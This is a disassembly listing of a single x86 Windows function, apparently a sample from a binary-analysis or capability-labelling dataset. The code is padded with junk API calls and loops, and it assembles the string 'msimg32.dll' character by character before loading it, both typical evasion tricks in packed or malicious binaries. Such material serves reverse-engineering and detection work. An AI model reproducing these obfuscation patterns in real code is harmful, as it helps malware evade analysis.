Function at 0x419860
Capabilities:
Get geographical location
Manipulate console buffer

Disassembly:
push 0xffffffffffffffff
push 0x41da11
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd20
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.MSIMG32.dll_AlphaBlend]
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x20], 0x2c831
jge 0x4198ac
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthW]
cmp dword [0x8e3504], 0x6fb
jne 0x419905
push ebx
call edi
push esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call ebp
push ebx
lea eax, [esp + 0x530]
push eax
push 0x4040a4
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x13c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [esp + 0x20]
cmp eax, 0x1e7d17d8
jle 0x419927
cmp dword [esp + 0x1c], 0xc08e62
je 0x419927
cmp dword [esp + 0xf0], 0x9067428
jne 0x419939
inc eax
mov dword [esp + 0x20], eax
cmp eax, 0x7e7fd
jl 0x419899
jmp 0x419967
cmp dword [0x8e3504], 0x28
jne 0x419967
push ebx
lea edx, [esp + 0x20]
push edx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x12c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [0x8e3504], 0xcf8
jne 0x419e4c
push 0x4040d4
push ebx
call fcn.0040a47d
push ebx
push ebx
push ebx
push 0x4390c8
call fcn.00409e78
push ebx
call fcn.0040a313
add esp, 0x1c
push ebx
push ebx
call fcn.004190be
add esp, 8
lea ecx, [esp + 0xe4]
push ecx
call fcn.004064d0
mov dword [esp + 0xe4], 0x4042a4
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
mov eax, 1
mov dword [esp + 0xd38], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x3c], 0x4042e8
mov dword [esp + 0x4c], 0x4042f0
mov byte [esp + 0xd38], 3
mov ebp, 6
push 4
mov dword [esp + 0x1c], eax
mov dword [esp + 0xa0], 0x40428c
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0xd0], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xb0], ebx
mov dword [esp + 0xb4], 0x201
mov dword [esp + 0xb8], ebp
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xac], ebx
call fcn.0040a723
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x419aa4
call fcn.00408e5f
mov dword [esi], eax
call fcn.00408c1e
push ebx
lea ecx, [esp + 0x24]
mov edi, eax
call fcn.00409025
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x419a99
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x20]
call fcn.0040904d
jmp 0x419aa6
xor esi, esi
lea edx, [esp + 0x54]
lea edi, [esp + 0x24]
lea eax, [esp + 0x9c]
mov dword [esp + 0xcc], esi
mov dword [esp + 0xd4], edx
mov dword [esp + 0xd8], ebx
call fcn.00405460
mov edi, eax
mov dword [esp + 0xd38], ebp
call fcn.00408350
mov byte [esp + 0xd38], 5
mov edi, dword [esp + 0x24]
mov ebp, eax
cmp edi, ebx
je 0x419b2b
push ebx
lea ecx, [esp + 0x20]
call fcn.00409025
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x419b09
cmp eax, 0xffffffff
jae 0x419b09
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x1c]
and esi, edi
call fcn.0040904d
cmp esi, ebx
je 0x419b2b
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
mov eax, dword [ebp]
mov edx, dword [eax + 0x18]
push 0x20
mov ecx, ebp
call edx
mov byte [esp + 0xdc], al
cmp dword [esp + 0xd4], ebx
jne 0x419b71
mov eax, dword [esp + 0xa8]
or eax, 4
and eax, 0x17
mov dword [esp + 0xa8], eax
test dword [esp + 0xac], eax
je 0x419b71
push ebx
lea ecx, [esp + 0xa0]
call fcn.00405380
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x4c], 0x404294
mov edx, dword [esp + 0x3c]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0x3c], 0x40429c
mov dword [esp + 0xd38], 9
mov ecx, dword [esp + 0x3c]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x54]
mov esi, 0x4042e4
push eax
mov dword [esp + edx + 0x40], esi
call fcn.004064d0
mov edi, 0x4042a4
mov dword [esp + 0x54], edi
mov dword [esp + 0x90], ebx
mov dword [esp + 0x94], ebx
push 0x4040e0
lea ecx, [esp + 0x50]
push ecx
mov byte [esp + 0xd40], 0xb
call fcn.00405640
push 0x4040e4
lea edx, [esp + 0x50]
push edx
call fcn.00405640
push ebx
call fcn.0040a714
add esp, 4
call fcn.00409791
push ebx
call fcn.0040a466
add esp, 4
push ebx
push ebx
call fcn.0040a616
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a183
mov ecx, dword [esp + 0x5c]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xbc]
add esp, 0x20
mov dword [esp + 0x24], eax
mov dword [esp + edx + 0x3c], esi
test byte [esp + 0x94], 1
lea eax, [esp + 0x54]
mov dword [esp + 0x18], eax
mov dword [esp + 0x54], edi
je 0x419c58
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx]
push eax
call fcn.0040a5c5
add esp, 4
mov edx, dword [esp + 0x64]
mov dword [edx], ebx
mov eax, dword [esp + 0x74]
mov dword [eax], ebx
mov ecx, dword [esp + 0x84]
mov dword [ecx], ebx
mov edx, dword [esp + 0x68]
mov dword [edx], ebx
mov eax, dword [esp + 0x78]
mov dword [eax], ebx
mov ecx, dword [esp + 0x88]
mov dword [ecx], ebx
and dword [esp + 0x94], 0xfffffffe
mov dword [esp + 0x90], ebx
mov dword [esp + 0x54], 0x40424c
mov byte [esp + 0xd38], 0xd
mov eax, dword [esp + 0x8c]
mov ebp, eax
cmp eax, ebx
je 0x419cfe
mov edi, dword [eax]
cmp edi, ebx
je 0x419cf0
push ebx
lea ecx, [esp + 0x20]
call fcn.00409025
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x419cce
cmp eax, 0xffffffff
jae 0x419cce
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x1c]
and esi, edi
call fcn.0040904d
cmp esi, ebx
je 0x419cf0
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.0040a5c5
add esp, 4
mov edi, 0x4042a4
lea ecx, [esp + 0x58]
mov byte [esp + 0xd38], 0xc
call fcn.0040907e
mov byte [esp + 0xd38], 2
mov ecx, dword [esp + 0x3c]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x3c], 0x40429c
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x4c], 0x404294
mov edx, dword [esp + 0x3c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x9c]
mov dword [esp + eax + 0x3c], 0x40428c
push ecx
mov dword [esp + 0xa0], 0x404240
call fcn.00408b54
add esp, 4
test byte [esp + 0x124], 1
mov dword [esp + 0xe4], edi
je 0x419d82
mov edx, dword [esp + 0xf4]
mov eax, dword [edx]
push eax
call fcn.0040a5c5
add esp, 4
mov eax, dword [esp + 0xf4]
mov dword [eax], ebx
mov ecx, dword [esp + 0x104]
mov dword [ecx], ebx
mov edx, dword [esp + 0x114]
mov dword [edx], ebx
mov eax, dword [esp + 0xf8]
mov dword [eax], ebx
mov ecx, dword [esp + 0x108]
mov dword [ecx], ebx
mov edx, dword [esp + 0x118]
mov dword [edx], ebx
and dword [esp + 0x124], 0xfffffffe
mov dword [esp + 0x120], ebx
mov dword [esp + 0xe4], 0x40424c
mov dword [esp + 0xd38], 0xe
mov eax, dword [esp + 0x11c]
mov ebp, eax
cmp eax, ebx
je 0x419e35
mov edi, dword [eax]
cmp edi, ebx
je 0x419e2c
push ebx
lea ecx, [esp + 0x20]
call fcn.00409025
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x419e0a
cmp eax, 0xffffffff
jae 0x419e0a
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x1c]
and esi, edi
call fcn.0040904d
cmp esi, ebx
je 0x419e2c
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.0040a5c5
add esp, 4
lea ecx, [esp + 0xe8]
mov dword [esp + 0xd38], 0xffffffff
call fcn.0040907e
mov eax, 0x5d1
add dword [0x8e3504], eax
mov eax, dword [0x8e3504]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x8e1cfc], eax
mov eax, dword [0x8e3504]
xor edi, edi
cmp eax, ebx
jbe 0x419ef0
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
cmp eax, 0xfe
jne 0x419ec6
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x12c]
push ecx
push 0x4040e8
call esi
xor eax, eax
lea edx, [esp + 0x28]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
push edx
lea eax, [esp + 0xe8]
push eax
push 0x404100
mov dword [esp + 0x34], ebx
call ebp
call fcn.00419290
mov eax, dword [0x8e3504]
cmp eax, 0x29
jne 0x419eeb
push ebx
lea ecx, [esp + 0x130]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov eax, dword [0x8e3504]
inc edi
cmp edi, eax
jb 0x419e80
cmp eax, 0x70
jne 0x419f02
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov eax, dword [0x8e3504]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
mov dword [esp + 0x18], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x419f31
push ebx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov eax, dword [0x8e3504]
cmp eax, 0xdf
jne 0x419f81
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push ebx
call edi
xor edx, edx
push ebx
mov eax, edx
push eax
push eax
push ebx
push ebx
mov dword [esp + 0x34], edx
call ebp
lea ecx, [esp + 0x28]
push ecx
xor eax, eax
lea edx, [esp + 0xe8]
push edx
push ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov eax, dword [0x8e3504]
dec dword [esp + 0x18]
jne 0x419f20
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebp, 0x25887
mov edi, 0xabebc05c
jmp 0x419fa0
mov dword [0x8e1d04], edi
cmp eax, 0x222
jne 0x419fc2
push ebx
push ebx
push ebx
push 0x404130
push 0x404144
push ebx
call esi
mov eax, dword [0x8e3504]
dec ebp
jne 0x419fa0
mov byte [0x4390c8], bl
call fcn.00419190
call fcn.00419620
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalUnlock]
xor esi, esi
cmp dword [0x8e3504], 0xba
jne 0x419ffc
push 0x404158
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x41a015
mov eax, 0x4a77
add dword [0x8e1cfc], eax
inc esi
cmp esi, 0x1605a
jl 0x419fe3
mov esi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov ebp, dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
mov dword [esp + 0x18], 0x1e6dcb
jmp 0x41a040
cmp dword [0x8e3504], 0x85
jne 0x41a068
push ebx
call esi
push ebx
call edi
push ebx
push ebx
push ebx
call ebp
push ebx
push ebx
lea eax, [esp + 0x534]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
dec dword [esp + 0x18]
jne 0x41a040
mov ecx, 0x73
mov edx, 0x6d
mov word [0x8e350a], cx
mov word [0x8e350e], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x8e3512], ax
mov word [0x8e351e], dx
mov word [0x8e3510], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x8e3508
mov dword [0x8e3518], 0x6c0064
mov word [0x8e350c], dx
mov word [0x8e3508], ax
mov word [0x8e351c], cx
mov dword [0x8e3514], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0xd30]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0xd2c
ret